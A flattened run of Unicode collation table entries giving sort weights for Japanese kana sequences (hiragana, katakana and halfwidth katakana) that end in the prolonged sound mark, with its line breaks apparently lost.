[.3D6A.0020.0011.0002][.3D5A.0020.0007.0002] # -FF80 FF70 ; [.3D6A.0020.0011.0002][.3D5A.0020.0007.0002] # -305F 30FC ; [.3D6A.0020.0011.0001][.3D5A.0020.0007.0002] # -30C0 30FC ; [.3D6A.0020.0011.0002][.0000.0037.0002][.3D5A.0020.0007.0002] # -30BF 3099 30FC ; [.3D6A.0020.0011.0002][.0000.0037.0002][.3D5A.0020.0007.0002] # -FF80 FF9E 30FC ; [.3D6A.0020.0011.0002][.0000.0037.0002][.3D5A.0020.0007.0002] # -FF80 FF9E FF70 ; [.3D6A.0020.0011.0002][.0000.0037.0002][.3D5A.0020.0007.0002] # -3060 30FC ; [.3D6A.0020.0011.0001][.0000.0037.0002][.3D5A.0020.0007.0002] # -305F 3099 30FC ; [.3D6A.0020.0011.0001][.0000.0037.0002][.3D5A.0020.0007.0002] # -30CA 30FC ; [.3D6F.0020.0011.0002][.3D5A.0020.0007.0002] # -FF85 30FC ; [.3D6F.0020.0011.0002][.3D5A.0020.0007.0002] # -FF85 FF70 ; [.3D6F.0020.0011.0002][.3D5A.0020.0007.0002] # -306A 30FC ; [.3D6F.0020.0011.0001][.3D5A.0020.0007.0002] # -30CF 30FC ; [.3D74.0020.0011.0002][.3D5A.0020.0007.0002] # -FF8A 30FC ; [.3D74.0020.0011.0002][.3D5A.0020.0007.0002] # -FF8A FF70 ; [.3D74.0020.0011.0002][.3D5A.0020.0007.0002] # -306F 30FC ; [.3D74.0020.0011.0001][.3D5A.0020.0007.0002] # -30D0 30FC ; [.3D74.0020.0011.0002][.0000.0037.0002][.3D5A.0020.0007.0002] # -30CF 3099 30FC ; [.3D74.0020.0011.0002][.0000.0037.0002][.3D5A.0020.0007.0002] # -FF8A FF9E 30FC ; [.3D74.0020.0011.0002][.0000.0037.0002][.3D5A.0020.0007.0002] # -FF8A FF9E FF70 ; [.3D74.0020.0011.0002][.0000.0037.0002][.3D5A.0020.0007.0002] # -3070 30FC ; [.3D74.0020.0011.0001][.0000.0037.0002][.3D5A.0020.0007.0002] # -306F 3099 30FC ; [.3D74.0020.0011.0001][.0000.0037.0002][.3D5A.0020.0007.0002] # -30D1 30FC ; [.3D74.0020.0011.0002][.0000.0038.0002][.3D5A.0020.0007.0002] # -30CF 309A 30FC ; [.3D74.0020.0011.0002][.0000.0038.0002][.3D5A.0020.0007.0002] # -FF8A FF9F 30FC ; [.3D74.0020.0011.0002][.0000.0038.0002][.3D5A.0020.0007.0002] # -FF8A FF9F FF70 ; [.3D74.0020.0011.0002][.0000.0038.0002][.3D5A.0020.0007.0002] # -3071 30FC ; [.3D74.0020.0011.0001][.0000.0038.0002][.3D5A.0020.0007.0002] # -306F 309A 30FC ; [.3D74.0020.0011.0001][.0000.0038.0002][.3D5A.0020.0007.0002] # -30DE 30FC ; [.3D79.0020.0011.0002][.3D5A.0020.0007.0002] # -FF8F 30FC ; [.3D79.0020.0011.0002][.3D5A.0020.0007.0002] # -FF8F FF70 ; [.3D79.0020.0011.0002][.3D5A.0020.0007.0002] # -307E 30FC ; [.3D79.0020.0011.0001][.3D5A.0020.0007.0002] # -30E3 30FC ; [.3D7E.0020.000F.0002][.3D5A.0020.0007.0002] # -FF6C 30FC ; [.3D7E.0020.000F.0002][.3D5A.0020.0007.0002] # -FF6C FF70 ; [.3D7E.0020.000F.0002][.3D5A.0020.0007.0002] # -3083 30FC ; [.3D7E.0020.000F.0001][.3D5A.0020.0007.0002] # -30E4 30FC ; [.3D7E.0020.0011.0002][.3D5A.0020.0007.0002] # -FF94 30FC ; [.3D7E.0020.0011.0002][.3D5A.0020.0007.0002] # -FF94 FF70 ; [.3D7E.0020.0011.0002][.3D5A.0020.0007.0002] # -3084 30FC ; [.3D7E.0020.0011.0001][.3D5A.0020.0007.0002] # -30E9 30FC ; [.3D82.0020.0011.0002][.3D5A.0020.0007.0002] # -FF97 30FC ; [.3D82.0020.0011.0002][.3D5A.0020.0007.0002] # -FF97 FF70 ; [.3D82.0020.0011.0002][.3D5A.0020.0007.0002] # -3089 30FC ; [.3D82.0020.0011.0001][.3D5A.0020.0007.0002] # -30EE 30FC ; [.3D87.0020.000F.0002][.3D5A.0020.0007.0002] # -308E 30FC ; [.3D87.0020.000F.0001][.3D5A.0020.0007.0002] # -30EF 30FC ; [.3D87.0020.0011.0002][.3D5A.0020.0007.0002] # -FF9C 30FC ; [.3D87.0020.0011.0002][.3D5A.0020.0007.0002] # -FF9C FF70 ; [.3D87.0020.0011.0002][.3D5A.0020.0007.0002] # -308F 30FC ; [.3D87.0020.0011.0001][.3D5A.0020.0007.0002] # -30F7 30FC ; [.3D87.0020.0011.0002][.0000.0037.0002][.3D5A.0020.0007.0002] # -30EF 3099 30FC ; [.3D87.0020.0011.0002][.0000.0037.0002][.3D5A.0020.0007.0002] # -FF9C FF9E 30FC ; [.3D87.0020.0011.0002][.0000.0037.0002][.3D5A.0020.0007.0002] # -FF9C FF9E FF70 ; [.3D87.0020.0011.0002][.0000.0037.0002][.3D5A.0020.0007.0002] # -30F5 30FC ; [.3D60.0020.000F.0002][.3D5A.0020.0007.0002] # -3095 30FC ; [.3D60.0020.000F.0001][.3D5A.0020.0007.0002] # -31F5 30FC ; [.3D74.0020.000F][.3D5A.0020.0007.0002] # -31FB 30FC ; [.3D82.0020.000F][.3D5A.0020.0007.0002] # -30A3 30FC ; [.3D5B.0020.000F.0002][.3D5B.0020.0007.0002] # -FF68 30FC ; [.3D5B.0020.000F.0002][.3D5B.0020.0007.0002] # -FF68 FF70 ; [.3D5B.0020.000F.0002][.3D5B.0020.0007.0002] # -3043 30FC ; [.3D5B.0020.000F.0001][.3D5B.0020.0007.0002] # -30A4 30FC ; [.3D5B.0020.0011.0002][.3D5B.0020.0007.0002] # -FF72 30FC ; [.3D5B.0020.0011.0002][.3D5B.0020.0007.0002] # -FF72 FF70 ; [.3D5B.0020.0011.0002][.3D5B.0020.0007.0002] # -3044 30FC ; [.3D5B.0020.0011.0001][.3D5B.0020.0007.0002] # -30AD 30FC ; [.3D61.0020.0011.0002][.3D5B.0020.0007.0002] # -FF77 30FC ; [.3D61.0020.0011.0002][.3D5B.0020.0007.0002] # -FF77 FF70 ; [.3D61.0020.0011.0002][.3D5B.0020.0007.0002] # -304D 30FC ; [.3D61.0020.0011.0001][.3D5B.0020.0007.0002] # -30AE 30FC ; [.3D61.0020.0011.0002][.0000.0037.0002][.3D5B.0020.0007.0002] # -30AD 3099 30FC ; [.3D61.0020.0011.0002][.0000.0037.0002][.3D5B.0020.0007.0002] # -FF77 FF9E 30FC ; [.3D61.0020.0011.0002][.0000.0037.0002][.3D5B.0020.0007.0002] # -FF77 FF9E FF70 ; [.3D61.0020.0011.0002][.0000.0037.0002][.3D5B.0020.0007.0002] # -304E 30FC ; [.3D61.0020.0011.0001][.0000.0037.0002][.3D5B.0020.0007.0002] # -304D 3099 30FC ; [.3D61.0020.0011.0001][.0000.0037.0002][.3D5B.0020.0007.0002] # -30B7 30FC ; [.3D66.0020.0011.0002][.3D5B.0020.0007.0002] # -FF7C 30FC ; [.3D66.0020.0011.0002][.3D5B.0020.0007.0002] # -FF7C FF70 ; [.3D66.0020.0011.0002][.3D5B.0020.0007.0002] # -3057 30FC ; [.3D66.0020.0011.0001][.3D5B.0020.0007.0002] # -30B8 30FC ; [.3D66.0020.0011.0002][.0000.0037.0002][.3D5B.0020.0007.0002] # -30B7 3099 30FC ; [.3D66.0020.0011.0002][.0000.0037.0002][.3D5B.0020.0007.0002] # -FF7C FF9E 30FC ; [.3D66.0020.0011.0002][.0000.0037.0002][.3D5B.0020.0007.0002] # -FF7C FF9E FF70 ; [.3D66.0020.0011.0002][.0000.0037.0002][.3D5B.0020.0007.0002] # -3058 30FC ; [.3D66.0020.0011.0001][.0000.0037.0002][.3D5B.0020.0007.0002] # -3057 3099 30FC ; [.3D66.0020.0011.0001][.0000.0037.0002][.3D5B.0020.0007.0002] # -30C1 30FC ; [.3D6B.0020.0011.0002][.3D5B.0020.0007.0002] # -FF81 30FC ; [.3D6B.0020.0011.0002][.3D5B.0020.0007.0002] # -FF81 FF70 ; [.3D6B.0020.0011.0002][.3D5B.0020.0007.0002] # -3061 30FC ; [.3D6B.0020.0011.0001][.3D5B.0020.0007.0002] # -30C2 30FC ; [.3D6B.0020.0011.0002][.0000.0037.0002][.3D5B.0020.0007.0002] # -30C1 3099 30FC ; [.3D6B.0020.0011.0002][.0000.0037.0002][.3D5B.0020.0007.0002] # -FF81 FF9E 30FC ; [.3D6B.0020.0011.0002][.0000.0037.0002][.3D5B.0020.0007.0002] # -FF81 FF9E FF70 ; [.3D6B.0020.0011.0002][.0000.0037.0002][.3D5B.0020.0007.0002] # -3062 30FC ; [.3D6B.0020.0011.0001][.0000.0037.0002][.3D5B.0020.0007.0002] # -3061 3099 30FC ; [.3D6B.0020.0011.0001][.0000.0037.0002][.3D5B.0020.0007.0002] # -30CB 30FC ; [.3D70.0020.0011.0002][.3D5B.0020.0007.0002] # -FF86 30FC ; [.3D70.0020.0011.0002][.3D5B.0020.0007.0002] # -FF86 FF70 ; [.3D70.0020.0011.0002][.3D5B.0020.0007.0002] # -306B 30FC ; [.3D70.0020.0011.0001][.3D5B.0020.0007.0002] # -30D2 30FC ; [.3D75.0020.0011.0002][.3D5B.0020.0007.0002] # -FF8B 30FC ; [.3D75.0020.0011.0002][.3D5B.0020.0007.0002] # -FF8B FF70 ; [.3D75.0020.0011.0002][.3D5B.0020.0007.0002] # -3072 30FC ; [.3D75.0020.0011.0001][.3D5B.0020.0007.0002] # -30D3 30FC ; [.3D75.0020.0011.0002][.0000.0037.0002][.3D5B.0020.0007.0002] # -30D2 3099 30FC ; [.3D75.0020.0011.0002][.0000.0037.0002][.3D5B.0020.0007.0002] # -FF8B FF9E 30FC ; [.3D75.0020.0011.0002][.0000.0037.0002][.3D5B.0020.0007.0002] # -FF8B FF9E FF70 ; [.3D75.0020.0011.0002][.0000.0037.0002][.3D5B.0020.0007.0002] # -3073 30FC ; [.3D75.0020.0011.0001][.0000.0037.0002][.3D5B.0020.0007.0002] # -3072 3099 30FC ; [.3D75.0020.0011.0001][.0000.0037.0002][.3D5B.0020.0007.0002] # -30D4 30FC ; [.3D75.0020.0011.0002][.0000.0038.0002][.3D5B.0020.0007.0002] # -30D2 309A 30FC ; [.3D75.0020.0011.0002][.0000.0038.0002][.3D5B.0020.0007.0002] # -FF8B FF9F 30FC ; [.3D75.0020.0011.0002][.0000.0038.0002][.3D5B.0020.0007.0002] # -FF8B FF9F FF70 ; [.3D75.0020.0011.0002][.0000.0038.0002][.3D5B.0020.0007.0002] # -3074 30FC ; [.3D75.0020.0011.0001][.0000.0038.0002][.3D5B.0020.0007.0002] # -3072 309A 30FC ; [.3D75.0020.0011.0001][.0000.0038.0002][.3D5B.0020.0007.0002] # -30DF 30FC ; [.3D7A.0020.0011.0002][.3D5B.0020.0007.0002] # -FF90 30FC ; [.3D7A.0020.0011.0002][.3D5B.0020.0007.0002] # -FF90 FF70 ; [.3D7A.0020.0011.0002][.3D5B.0020.0007.0002] # -307F 30FC ; [.3D7A.0020.0011.0001][.3D5B.0020.0007.0002] # -30EA 30FC ; [.3D83.0020.0011.0002][.3D5B.0020.0007.0002] # -FF98 30FC ; [.3D83.0020.0011.0002][.3D5B.0020.0007.0002] # -FF98 FF70 ; [.3D83.0020.0011.0002][.3D5B.0020.0007.0002] # -308A 30FC ; [.3D83.0020.0011.0001][.3D5B.0020.0007.0002] # -30F0 30FC ; [.3D88.0020.0011.0002][.3D5B.0020.0007.0002] # -3090 30FC ; [.3D88.0020.0011.0001][.3D5B.0020.0007.0002] # -30F8 30FC ; [.3D88.0020.0011.0002][.0000.0037.0002][.3D5B.0020.0007.0002] # -30F0 3099 30FC ; [.3D88.0020.0011.0002][.0000.0037.0002][.3D5B.0020.0007.0002] # -31F1 30FC ; [.3D66.0020.000F][.3D5B.0020.0007.0002] # -31F6 30FC ; [.3D75.0020.000F][.3D5B.0020.0007.0002] # -31FC 30FC ; [.3D83.0020.000F][.3D5B.0020.0007.0002] # -30A5 30FC ; [.3D5C.0020.000F.0002][.3D5C.0020.0007.0002] # -FF69 30FC ; [.3D5C.0020.000F.0002][.3D5C.0020.0007.0002] # -FF69 FF70 ; [.3D5C.0020.000F.0002][.3D5C.0020.0007.0002] # -3045 30FC ; [.3D5C.0020.000F.0001][.3D5C.0020.0007.0002] # -30A6 30FC ; [.3D5C.0020.0011.0002][.3D5C.0020.0007.0002] # -FF73 30FC ; [.3D5C.0020.0011.0002][.3D5C.0020.0007.0002] # -FF73 FF70 ; [.3D5C.0020.0011.0002][.3D5C.0020.0007.0002] # -3046 30FC ; [.3D5C.0020.0011.0001][.3D5C.0020.0007.0002] # -30AF 30FC ; [.3D62.0020.0011.0002][.3D5C.0020.0007.0002] # -FF78 30FC ; [.3D62.0020.0011.0002][.3D5C.0020.0007.0002] # -FF78 FF70 ; [.3D62.0020.0011.0002][.3D5C.0020.0007.0002] # -304F 30FC ; [.3D62.0020.0011.0001][.3D5C.0020.0007.0002] # -30B0 30FC ; [.3D62.0020.0011.0002][.0000.0037.0002][.3D5C.0020.0007.0002] # -30AF 3099 30FC ; [.3D62.0020.0011.0002][.0000.0037.0002][.3D5C.0020.0007.0002] # -FF78 FF9E 30FC ; [.3D62.0020.0011.0002][.0000.0037.0002][.3D5C.0020.0007.0002] # -FF78 FF9E FF70 ; [.3D62.0020.0011.0002][.0000.0037.0002][.3D5C.0020.0007.0002] # -3050 30FC ; [.3D62.0020.0011.0001][.0000.0037.0002][.3D5C.0020.0007.0002] # -304F 3099 30FC ; [.3D62.0020.0011.0001][.0000.0037.0002][.3D5C.0020.0007.0002] # -30B9 30FC ; [.3D67.0020.0011.0002][.3D5C.0020.0007.0002] # -FF7D 30FC ; [.3D67.0020.0011.0002][.3D5C.0020.0007.0002] # -FF7D FF70 ; [.3D67.0020.0011.0002][.3D5C.0020.0007.0002] # -3059 30FC ; [.3D67.0020.0011.0001][.3D5C.0020.0007.0002] # -30BA 30FC ; [.3D67.0020.0011.0002][.0000.0037.0002][.3D5C.0020.0007.0002] # -30B9 3099 30FC ; [.3D67.0020.0011.0002][.0000.0037.0002][.3D5C.0020.0007.0002] # -FF7D FF9E 30FC ; [.3D67.0020.0011.0002][.0000.0037.0002][.3D5C.0020.0007.0002] # -FF7D FF9E FF70 ; [.3D67.0020.0011.0002][.0000.0037.0002][.3D5C.0020.0007.0002] # -305A 30FC ; [.3D67.0020.0011.0001][.0000.0037.0002][.3D5C.0020.0007.0002] # -3059 3099 30FC ; [.3D67.0020.0011.0001][.0000.0037.0002][.3D5C.0020.0007.0002] # -30C3 30FC ; [.3D6C.0020.000F.0002][.3D5C.0020.0007.0002] # -FF6F 30FC ; [.3D6C.0020.000F.0002][.3D5C.0020.0007.0002] # -FF6F FF70 ; [.3D6C.0020.000F.0002][.3D5C.0020.0007.0002] # -3063 30FC ; [.3D6C.0020.000F.0001][.3D5C.0020.0007.0002] # -30C4 30FC ; [.3D6C.0020.0011.0002][.3D5C.0020.0007.0002] # -FF82 30FC ; [.3D6C.0020.0011.0002][.3D5C.0020.0007.0002] # -FF82 FF70 ; [.3D6C.0020.0011.0002][.3D5C.0020.0007.0002] # -3064 30FC ; [.3D6C.0020.0011.0001][.3D5C.0020.0007.0002] # -30C5 30FC ; [.3D6C.0020.0011.0002][.0000.0037.0002][.3D5C.0020.0007.0002] # -30C4 3099 30FC ; [.3D6C.0020.0011.0002][.0000.0037.0002][.3D5C.0020.0007.0002] # -FF82 FF9E 30FC ; [.3D6C.0020.0011.0002][.0000.0037.0002][.3D5C.0020.0007.0002] # -FF82 FF9E FF70 ; [.3D6C.0020.0011.0002][.0000.0037.0002][.3D5C.0020.0007.0002] # -3065 30FC ; [.3D6C.0020.0011.0001][.0000.0037.0002][.3D5C.0020.0007.0002] # -3064 3099 30FC ; [.3D6C.0020.0011.0001][.0000.0037.0002][.3D5C.0020.0007.0002] # -30CC 30FC ; [.3D71.0020.0011.0002][.3D5C.0020.0007.0002] # -FF87 30FC ; [.3D71.0020.0011.0002][.3D5C.0020.0007.0002] # -FF87 FF70 ; [.3D71.0020.0011.0002][.3D5C.0020.0007.0002] # -306C 30FC ; [.3D71.0020.0011.0001][.3D5C.0020.0007.0002] # -30D5 30FC ; [.3D76.0020.0011.0002][.3D5C.0020.0007.0002] # -FF8C 30FC ; [.3D76.0020.0011.0002][.3D5C.0020.0007.0002] # -FF8C FF70 ; [.3D76.0020.0011.0002][.3D5C.0020.0007.0002] # -3075 30FC ; [.3D76.0020.0011.0001][.3D5C.0020.0007.0002] # -30D6 30FC ; [.3D76.0020.0011.0002][.0000.0037.0002][.3D5C.0020.0007.0002] # -30D5 3099 30FC ; [.3D76.0020.0011.0002][.0000.0037.0002][.3D5C.0020.0007.0002] # -FF8C FF9E 30FC ; [.3D76.0020.0011.0002][.0000.0037.0002][.3D5C.0020.0007.0002] # -FF8C FF9E FF70 ; [.3D76.0020.0011.0002][.0000.0037.0002][.3D5C.0020.0007.0002] # -3076 30FC ; [.3D76.0020.0011.0001][.0000.0037.0002][.3D5C.0020.0007.0002] # -3075 3099 30FC ; [.3D76.0020.0011.0001][.0000.0037.0002][.3D5C.0020.0007.0002] # -30D7 30FC ; [.3D76.0020.0011.0002][.0000.0038.0002][.3D5C.0020.0007.0002] # -30D5 309A 30FC ; [.3D76.0020.0011.0002][.0000.0038.0002][.3D5C.0020.0007.0002] # -FF8C FF9F 30FC ; [.3D76.0020.0011.0002][.0000.0038.0002][.3D5C.0020.0007.0002] # -FF8C FF9F FF70 ; [.3D76.0020.0011.0002][.0000.0038.0002][.3D5C.0020.0007.0002] # -3077 30FC ; [.3D76.0020.0011.0001][.0000.0038.0002][.3D5C.0020.0007.0002] # -3075 309A 30FC ; [.3D76.0020.0011.0001][.0000.0038.0002][.3D5C.0020.0007.0002] # -30E0 30FC ; [.3D7B.0020.0011.0002][.3D5C.0020.0007.0002] # -FF91 30FC ; [.3D7B.0020.0011.0002][.3D5C.0020.0007.0002] # -FF91 FF70 ; [.3D7B.0020.0011.0002][.3D5C.0020.0007.0002] # -3080 30FC ; [.3D7B.0020.0011.0001][.3D5C.0020.0007.0002] # -30E5 30FC ; [.3D7F.0020.000F.0002][.3D5C.0020.0007.0002] # -FF6D 30FC ; [.3D7F.0020.000F.0002][.3D5C.0020.0007.0002] # -FF6D FF70 ; [.3D7F.0020.000F.0002][.3D5C.0020.0007.0002] # -3085 30FC ; [.3D7F.0020.000F.0001][.3D5C.0020.0007.0002] # -30E6 30FC ; [.3D7F.0020.0011.0002][.3D5C.0020.0007.0002] # -FF95 30FC ; [.3D7F.0020.0011.0002][.3D5C.0020.0007.0002] # -FF95 FF70 ; [.3D7F.0020.0011.0002][.3D5C.0020.0007.0002] # -3086 30FC ; [.3D7F.0020.0011.0001][.3D5C.0020.0007.0002] # -30EB 30FC ; [.3D84.0020.0011.0002][.3D5C.0020.0007.0002] # -FF99 30FC ; [.3D84.0020.0011.0002][.3D5C.0020.0007.0002] # -FF99 FF70 ; [.3D84.0020.0011.0002][.3D5C.0020.0007.0002] # -308B 30FC ; [.3D84.0020.0011.0001][.3D5C.0020.0007.0002] # -30F4 30FC ; [.3D5C.0020.0011.0002][.0000.0037.0002][.3D5C.0020.0007.0002] # -30A6 3099 30FC ; [.3D5C.0020.0011.0002][.0000.0037.0002][.3D5C.0020.0007.0002] # -FF73 FF9E 30FC ; [.3D5C.0020.0011.0002][.0000.0037.0002][.3D5C.0020.0007.0002] # -FF73 FF9E FF70 ; [.3D5C.0020.0011.0002][.0000.0037.0002][.3D5C.0020.0007.0002] # -3094 30FC ; [.3D5C.0020.0011.0001][.0000.0037.0002][.3D5C.0020.0007.0002] # -3046 3099 30FC ; [.3D5C.0020.0011.0001][.0000.0037.0002][.3D5C.0020.0007.0002] # -31F0 30FC ; [.3D62.0020.000F][.3D5C.0020.0007.0002] # -31F2 30FC ; [.3D67.0020.000F][.3D5C.0020.0007.0002] # -31F4 30FC ; [.3D71.0020.000F][.3D5C.0020.0007.0002] # -31F7 30FC ; [.3D76.0020.000F][.3D5C.0020.0007.0002] # -31FA 30FC ; [.3D7B.0020.000F][.3D5C.0020.0007.0002] # -31FD 30FC ; [.3D84.0020.000F][.3D5C.0020.0007.0002] # -30A7 30FC ; [.3D5E.0020.000F.0002][.3D5E.0020.0007.0002] # -FF6A 30FC ; [.3D5E.0020.000F.0002][.3D5E.0020.0007.0002] # -FF6A FF70 ; [.3D5E.0020.000F.0002][.3D5E.0020.0007.0002] # -3047 30FC ; [.3D5E.0020.000F.0001][.3D5E.0020.0007.0002] # -30A8 30FC ; [.3D5E.0020.0011.0002][.3D5E.0020.0007.0002] # -FF74 30FC ; [.3D5E.0020.0011.0002][.3D5E.0020.0007.0002] # -FF74 FF70 ; [.3D5E.0020.0011.0002][.3D5E.0020.0007.0002] # -3048 30FC ; [.3D5E.0020.0011.0001][.3D5E.0020.0007.0002] # -30B1 30FC ; [.3D63.0020.0011.0002][.3D5E.0020.0007.0002] # -FF79 30FC ; [.3D63.0020.0011.0002][.3D5E.0020.0007.0002] # -FF79 FF70 ; [.3D63.0020.0011.0002][.3D5E.0020.0007.0002] # -3051 30FC ; [.3D63.0020.0011.0001][.3D5E.0020.0007.0002] # -30B2 30FC ; [.3D63.0020.0011.0002][.0000.0037.0002][.3D5E.0020.0007.0002] # -30B1 3099 30FC ; [.3D63.0020.0011.0002][.0000.0037.0002][.3D5E.0020.0007.0002] # -FF79 FF9E 30FC ; [.3D63.0020.0011.0002][.0000.0037.0002][.3D5E.0020.0007.0002] # -FF79 FF9E FF70 ; [.3D63.0020.0011.0002][.0000.0037.0002][.3D5E.0020.0007.0002] # -3052 30FC ; [.3D63.0020.0011.0001][.0000.0037.0002][.3D5E.0020.0007.0002] # -3051 3099 30FC ; [.3D63.0020.0011.0001][.0000.0037.0002][.3D5E.0020.0007.0002] # -30BB 30FC ; [.3D68.0020.0011.0002][.3D5E.0020.0007.0002] # -FF7E 30FC ; [.3D68.0020.0011.0002][.3D5E.0020.0007.0002] # -FF7E FF70 ; [.3D68.0020.0011.0002][.3D5E.0020.0007.0002] # -305B 30FC ; [.3D68.0020.0011.0001][.3D5E.0020.0007.0002] # -30BC 30FC ; [.3D68.0020.0011.0002][.0000.0037.0002][.3D5E.0020.0007.0002] # -30BB 3099 30FC ; [.3D68.0020.0011.0002][.0000.0037.0002][.3D5E.0020.0007.0002] # -FF7E FF9E 30FC ; [.3D68.0020.0011.0002][.0000.0037.0002][.3D5E.0020.0007.0002] # -FF7E FF9E FF70 ; [.3D68.0020.0011.0002][.0000.0037.0002][.3D5E.0020.0007.0002] # -305C 30FC ; [.3D68.0020.0011.0001][.0000.0037.0002][.3D5E.0020.0007.0002] # -305B 3099 30FC ; [.3D68.0020.0011.0001][.0000.0037.0002][.3D5E.0020.0007.0002] # -30C6 30FC ; [.3D6D.0020.0011.0002][.3D5E.0020.0007.0002] # -FF83 30FC ; [.3D6D.0020.0011.0002][.3D5E.0020.0007.0002] # -FF83 FF70 ; [.3D6D.0020.0011.0002][.3D5E.0020.0007.0002] # -3066 30FC ; [.3D6D.0020.0011.0001][.3D5E.0020.0007.0002] # -30C7 30FC ; [.3D6D.0020.0011.0002][.0000.0037.0002][.3D5E.0020.0007.0002] # -30C6 3099 30FC ; [.3D6D.0020.0011.0002][.0000.0037.0002][.3D5E.0020.0007.0002] # -FF83 FF9E 30FC ; [.3D6D.0020.0011.0002][.0000.0037.0002][.3D5E.0020.0007.0002] # -FF83 FF9E FF70 ; [.3D6D.0020.0011.0002][.0000.0037.0002][.3D5E.0020.0007.0002] # -3067 30FC ; [.3D6D.0020.0011.0001][.0000.0037.0002][.3D5E.0020.0007.0002] # -3066 3099 30FC ; [.3D6D.0020.0011.0001][.0000.0037.0002][.3D5E.0020.0007.0002] # -30CD 30FC ; [.3D72.0020.0011.0002][.3D5E.0020.0007.0002] # -FF88 30FC ; [.3D72.0020.0011.0002][.3D5E.0020.0007.0002] # -FF88 FF70 ; [.3D72.0020.0011.0002][.3D5E.0020.0007.0002] # -306D 30FC ; [.3D72.0020.0011.0001][.3D5E.0020.0007.0002] # -30D8 30FC ; [.3D77.0020.0011.0002][.3D5E.0020.0007.0002] # -FF8D 30FC ; [.3D77.0020.0011.0002][.3D5E.0020.0007.0002] # -FF8D FF70 ; [.3D77.0020.0011.0002][.3D5E.0020.0007.0002] # -3078 30FC ; [.3D77.0020.0011.0001][.3D5E.0020.0007.0002] # -30D9 30FC ; [.3D77.0020.0011.0002][.0000.0037.0002][.3D5E.0020.0007.0002] # -30D8 3099 30FC ; [.3D77.0020.0011.0002][.0000.0037.0002][.3D5E.0020.0007.0002] # -FF8D FF9E 30FC ; [.3D77.0020.0011.0002][.0000.0037.0002][.3D5E.0020.0007.0002] # -FF8D FF9E FF70 ; [.3D77.0020.0011.0002][.0000.0037.0002][.3D5E.0020.0007.0002] # -3079 30FC ; [.3D77.0020.0011.0001][.0000.0037.0002][.3D5E.0020.0007.0002] # -3078 3099 30FC ; [.3D77.0020.0011.0001][.0000.0037.0002][.3D5E.0020.0007.0002] # -30DA 30FC ; [.3D77.0020.0011.0002][.0000.0038.0002][.3D5E.0020.0007.0002] # -30D8 309A 30FC ; [.3D77.0020.0011.0002][.0000.0038.0002][.3D5E.0020.0007.0002] # -FF8D FF9F 30FC ; [.3D77.0020.0011.0002][.0000.0038.0002][.3D5E.0020.0007.0002] # -FF8D FF9F FF70 ; [.3D77.0020.0011.0002][.0000.0038.0002][.3D5E.0020.0007.0002] # -307A 30FC ; [.3D77.0020.0011.0001][.0000.0038.0002][.3D5E.0020.0007.0002] # -3078 309A 30FC ; [.3D77.0020.0011.0001][.0000.0038.0002][.3D5E.0020.0007.0002] # -30E1 30FC ; [.3D7C.0020.0011.0002][.3D5E.0020.0007.0002] # -FF92 30FC ; [.3D7C.0020.0011.0002][.3D5E.0020.0007.0002] # -FF92 FF70 ; [.3D7C.0020.0011.0002][.3D5E.0020.0007.0002] # -3081 30FC ; [.3D7C.0020.0011.0001][.3D5E.0020.0007.0002] # -30EC 30FC ; [.3D85.0020.0011.0002][.3D5E.0020.0007.0002] # -FF9A 30FC ; [.3D85.0020.0011.0002][.3D5E.0020.0007.0002] # -FF9A FF70 ; [.3D85.0020.0011.0002][.3D5E.0020.0007.0002] # -308C 30FC ; [.3D85.0020.0011.0001][.3D5E.0020.0007.0002] # -30F1 30FC ; [.3D89.0020.0011.0002][.3D5E.0020.0007.0002] # -3091 30FC ; [.3D89.0020.0011.0001][.3D5E.0020.0007.0002] # -30F9 30FC ; [.3D89.0020.0011.0002][.0000.0037.0002][.3D5E.0020.0007.0002] # -30F1 3099 30FC ; [.3D89.0020.0011.0002][.0000.0037.0002][.3D5E.0020.0007.0002] # -30F6 30FC ; [.3D63.0020.000F.0002][.3D5E.0020.0007.0002] # -3096 30FC ; [.3D63.0020.000F.0001][.3D5E.0020.0007.0002] # -31F8 30FC ; [.3D77.0020.000F][.3D5E.0020.0007.0002] # -31FE 30FC ; [.3D85.0020.000F][.3D5E.0020.0007.0002] # -30A9 30FC ; [.3D5F.0020.000F.0002][.3D5F.0020.0007.0002] # -FF6B 30FC ; [.3D5F.0020.000F.0002][.3D5F.0020.0007.0002] # -FF6B FF70 ; [.3D5F.0020.000F.0002][.3D5F.0020.0007.0002] # -3049 30FC ; [.3D5F.0020.000F.0001][.3D5F.0020.0007.0002] # -30AA 30FC ; [.3D5F.0020.0011.0002][.3D5F.0020.0007.0002] # -FF75 30FC ; [.3D5F.0020.0011.0002][.3D5F.0020.0007.0002] # -FF75 FF70 ; [.3D5F.0020.0011.0002][.3D5F.0020.0007.0002] # -304A 30FC ; [.3D5F.0020.0011.0001][.3D5F.0020.0007.0002] # -30B3 30FC ; [.3D64.0020.0011.0002][.3D5F.0020.0007.0002] # -FF7A 30FC ; [.3D64.0020.0011.0002][.3D5F.0020.0007.0002] # -FF7A FF70 ; [.3D64.0020.0011.0002][.3D5F.0020.0007.0002] # -3053 30FC ; [.3D64.0020.0011.0001][.3D5F.0020.0007.0002] # -30B4 30FC ; [.3D64.0020.0011.0002][.0000.0037.0002][.3D5F.0020.0007.0002] # -30B3 3099 30FC ; [.3D64.0020.0011.0002][.0000.0037.0002][.3D5F.0020.0007.0002] # -FF7A FF9E 30FC ; [.3D64.0020.0011.0002][.0000.0037.0002][.3D5F.0020.0007.0002] # -FF7A FF9E FF70 ; [.3D64.0020.0011.0002][.0000.0037.0002][.3D5F.0020.0007.0002] # -3054 30FC ; [.3D64.0020.0011.0001][.0000.0037.0002][.3D5F.0020.0007.0002] # -3053 3099 30FC ; [.3D64.0020.0011.0001][.0000.0037.0002][.3D5F.0020.0007.0002] # -30BD 30FC ; [.3D69.0020.0011.0002][.3D5F.0020.0007.0002] # -FF7F 30FC ; [.3D69.0020.0011.0002][.3D5F.0020.0007.0002] # -FF7F FF70 ; [.3D69.0020.0011.0002][.3D5F.0020.0007.0002] # -305D 30FC ; [.3D69.0020.0011.0001][.3D5F.0020.0007.0002] # -30BE 30FC ; [.3D69.0020.0011.0002][.0000.0037.0002][.3D5F.0020.0007.0002] # -30BD 3099 30FC ; [.3D69.0020.0011.0002][.0000.0037.0002][.3D5F.0020.0007.0002] # -FF7F FF9E 30FC ; [.3D69.0020.0011.0002][.0000.0037.0002][.3D5F.0020.0007.0002] # -FF7F FF9E FF70 ; [.3D69.0020.0011.0002][.0000.0037.0002][.3D5F.0020.0007.0002] # -305E 30FC ; [.3D69.0020.0011.0001][.0000.0037.0002][.3D5F.0020.0007.0002] # -305D 3099 30FC ; 